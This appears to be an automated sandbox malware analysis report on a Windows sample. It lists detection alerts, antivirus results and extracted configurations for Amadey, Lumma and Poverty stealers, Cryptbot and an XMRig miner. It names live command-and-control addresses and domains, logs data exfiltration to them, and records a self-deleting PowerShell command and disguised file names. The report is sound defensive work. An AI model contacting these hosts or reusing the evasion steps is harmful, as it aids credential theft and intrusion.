Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe, ParentProcessId: 340, ParentProcessName: 0626ec4ce0.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 404, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7244, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 7424, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe, ParentProcessId: 340, ParentProcessName: 0626ec4ce0.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 404, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:22.355128+0100	2028371	3	Unknown Traffic	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:06:24.471907+0100	2028371	3	Unknown Traffic	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:06:29.117257+0100	2028371	3	Unknown Traffic	192.168.2.4	49811	172.67.209.202	443	TCP
2024-12-17T22:06:34.099089+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	172.67.209.202	443	TCP
2024-12-17T22:06:38.052020+0100	2028371	3	Unknown Traffic	192.168.2.4	49837	172.67.209.202	443	TCP
2024-12-17T22:06:45.557450+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	172.67.209.202	443	TCP
2024-12-17T22:06:48.944176+0100	2028371	3	Unknown Traffic	192.168.2.4	49866	172.67.209.202	443	TCP
2024-12-17T22:06:55.260760+0100	2028371	3	Unknown Traffic	192.168.2.4	49882	172.67.209.202	443	TCP
2024-12-17T22:07:17.994426+0100	2028371	3	Unknown Traffic	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:20.076688+0100	2028371	3	Unknown Traffic	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:23.705983+0100	2028371	3	Unknown Traffic	192.168.2.4	49965	172.67.129.27	443	TCP
2024-12-17T22:07:26.868305+0100	2028371	3	Unknown Traffic	192.168.2.4	49977	172.67.129.27	443	TCP
2024-12-17T22:07:29.177577+0100	2028371	3	Unknown Traffic	192.168.2.4	49982	172.67.209.202	443	TCP
2024-12-17T22:07:29.982278+0100	2028371	3	Unknown Traffic	192.168.2.4	49984	172.67.129.27	443	TCP
2024-12-17T22:07:31.171567+0100	2028371	3	Unknown Traffic	192.168.2.4	49989	172.67.209.202	443	TCP
2024-12-17T22:07:34.744853+0100	2028371	3	Unknown Traffic	192.168.2.4	49997	172.67.129.27	443	TCP
2024-12-17T22:07:36.316563+0100	2028371	3	Unknown Traffic	192.168.2.4	49999	172.67.209.202	443	TCP
2024-12-17T22:07:40.406630+0100	2028371	3	Unknown Traffic	192.168.2.4	50011	172.67.129.27	443	TCP
2024-12-17T22:07:40.513788+0100	2028371	3	Unknown Traffic	192.168.2.4	50012	172.67.209.202	443	TCP
2024-12-17T22:07:44.150903+0100	2028371	3	Unknown Traffic	192.168.2.4	50021	172.67.209.202	443	TCP
2024-12-17T22:07:44.262995+0100	2028371	3	Unknown Traffic	192.168.2.4	50022	172.67.129.27	443	TCP
2024-12-17T22:07:55.069716+0100	2028371	3	Unknown Traffic	192.168.2.4	50049	172.67.209.202	443	TCP
2024-12-17T22:08:01.138055+0100	2028371	3	Unknown Traffic	192.168.2.4	50067	172.67.209.202	443	TCP
2024-12-17T22:08:04.934610+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	172.67.209.202	443	TCP

ET MALWARE LUMAR Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:14.059775+0100	2048736	1	A Network Trojan was detected	192.168.2.4	49777	185.244.212.106	2227	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:23.229418+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:06:26.769933+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:06:56.208307+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49882	172.67.209.202	443	TCP
2024-12-17T22:07:18.719306+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:21.104497+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:29.920749+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49982	172.67.209.202	443	TCP
2024-12-17T22:07:31.907009+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49989	172.67.209.202	443	TCP
2024-12-17T22:07:44.999946+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50022	172.67.129.27	443	TCP
2024-12-17T22:08:05.673324+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50074	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:23.229418+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:07:18.719306+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:29.920749+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49982	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:26.769933+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:07:21.104497+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:31.907009+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49989	172.67.209.202	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:13.489032+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-17T22:06:20.471462+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49788	185.215.113.43	80	TCP
2024-12-17T22:06:32.779726+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49822	185.215.113.43	80	TCP
2024-12-17T22:06:45.290673+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49854	185.215.113.43	80	TCP
2024-12-17T22:06:58.768080+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49884	185.215.113.43	80	TCP
2024-12-17T22:07:07.570885+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49907	185.215.113.43	80	TCP
2024-12-17T22:07:15.369343+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49927	185.215.113.43	80	TCP
2024-12-17T22:07:26.711768+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49971	185.215.113.43	80	TCP
2024-12-17T22:10:10.137235+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50131	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:07:06.146515+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49906	104.154.220.71	80	TCP
2024-12-17T22:07:08.010977+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49913	104.154.220.71	80	TCP
2024-12-17T22:07:19.230077+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49947	104.154.220.71	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:47.170279+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49859	172.67.209.202	443	TCP
2024-12-17T22:07:27.671174+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49977	172.67.129.27	443	TCP
2024-12-17T22:07:41.764693+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50012	172.67.209.202	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:05.191110+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49750	185.215.113.43	80	TCP
2024-12-17T22:11:08.008244+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50156	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:12.140826+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49758	TCP
2024-12-17T22:07:21.552212+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49955	TCP
2024-12-17T22:10:08.787868+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50128	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:09.623883+0100	2803305	3	Unknown Traffic	192.168.2.4	49763	31.41.244.11	80	TCP
2024-12-17T22:06:14.946991+0100	2803305	3	Unknown Traffic	192.168.2.4	49776	31.41.244.11	80	TCP
2024-12-17T22:06:21.927881+0100	2803305	3	Unknown Traffic	192.168.2.4	49793	31.41.244.11	80	TCP
2024-12-17T22:06:34.345484+0100	2803305	3	Unknown Traffic	192.168.2.4	49825	31.41.244.11	80	TCP
2024-12-17T22:06:46.765386+0100	2803305	3	Unknown Traffic	192.168.2.4	49860	31.41.244.11	80	TCP
2024-12-17T22:07:00.237012+0100	2803305	3	Unknown Traffic	192.168.2.4	49890	31.41.244.11	80	TCP
2024-12-17T22:07:09.224821+0100	2803305	3	Unknown Traffic	192.168.2.4	49914	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T22:06:48.953965+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49866	172.67.209.202	443	TCP
2024-12-17T22:07:40.463081+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50011	172.67.129.27	443	TCP
2024-12-17T22:08:01.177511+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50067	172.67.209.202	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen3
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802

Found malware configuration

Source: 00000000.00000003.1771413470.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 6.0.DxfmGsU.exe.bd0000.0.unpack	Malware Configuration Extractor: Poverty Stealer {"C2 url": "185.244.212.106:2227"}
Source: 475e05f959.exe.7968.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "pancakedipyps.click", "crosshuaht.lat", "discokeyus.lat", "necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "aspecteirs.lat", "rapeflowwj.lat"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Code function: 6_2_00BD1D21 CryptUnprotectData,CryptProtectData,

6_2_00BD1D21

Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c4203627-4

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 52.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000034.00000002.3674964908.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.3673344740.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.3673344740.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.3674248985.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50074 version: TLS 1.2

Source:	Binary string: ntkrnlmp.pdbx, source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbF source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 0626ec4ce0.exe, 00000019.00000003.2950898535.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2952933778.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965275206.0000000005630000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965137341.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2e source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 0626ec4ce0.exe, 00000019.00000003.2949692549.0000000005C60000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2949439020.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963418688.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963759645.0000000005700000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2950078227.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2950269122.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964678167.00000000056B0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964173493.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2949692549.0000000005C60000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2949439020.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963418688.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963759645.0000000005700000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb? source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0626ec4ce0.exe, 00000019.00000003.2950078227.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2950269122.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964678167.00000000056B0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964173493.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*x source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\*E^ source: DxfmGsU.exe, 00000006.00000002.2429243361.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2950898535.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2952933778.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965275206.0000000005630000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965137341.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD4EB2 FindFirstFileW,EnterCriticalSection,LeaveCriticalSection,FindNextFileW,	6_2_00BD4EB2
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD1DC9 FindFirstFileW,FindNextFileW,	6_2_00BD1DC9
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD1000 FindFirstFileW,FindNextFileW,EnterCriticalSection,LeaveCriticalSection,	6_2_00BD1000
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD3F87 FindFirstFileW,FindNextFileW,	6_2_00BD3F87
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD4145 FindFirstFileW,FindNextFileW,	6_2_00BD4145
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002E36A9 FindFirstFileExW,	7_2_002E36A9
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002E375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_002E375A

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 27MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49750 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2048736 - Severity 1 - ET MALWARE LUMAR Stealer Exfiltration M2 : 192.168.2.4:49777 -> 185.244.212.106:2227
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49771 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49788 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49822 -> 185.215.113.43:80
